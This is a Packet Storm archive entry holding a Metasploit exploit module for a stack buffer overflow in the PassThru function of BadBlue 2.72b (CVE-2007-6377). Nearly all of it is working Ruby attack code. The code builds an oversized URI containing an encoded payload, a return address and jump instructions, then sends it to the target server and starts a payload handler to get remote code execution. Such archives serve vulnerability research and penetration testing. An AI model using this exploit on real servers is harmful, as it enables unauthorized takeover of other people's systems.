BadBlue 2.72b PassThru Buffer Overflow

2009-11-26T00:00:00
ID PACKETSTORM:82944
Type packetstorm
Reporter MC
Modified 2009-11-26T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the PassThru  
functionality in ext.dll in BadBlue 2.72b and earlier.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2007-6377'],  
['OSVDB', '42416'],  
['BID', '26803'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 10 2007'))  
  
register_options( [Opt::RPORT(80),], self.class )   
  
end  
  
def exploit  
# Need to obfuscate the buffer a bit more. "\x96" is ghetto.  
uri = "/ext.dll?mfcisapicommand=PassThru&" + "\x96" * (4116 - payload.encoded.length)   
uri << payload.encoded + Rex::Arch::X86.jmp_short(8) + make_nops(2) + [target.ret].pack('V')   
uri << make_nops(12) + [0xe8, -850].pack('CV')   
  
print_status("Trying target %s..." % target.name)  
  
send_request_raw({'uri' => uri,}, 5)  
  
handler  
disconnect  
end  
  
end  
`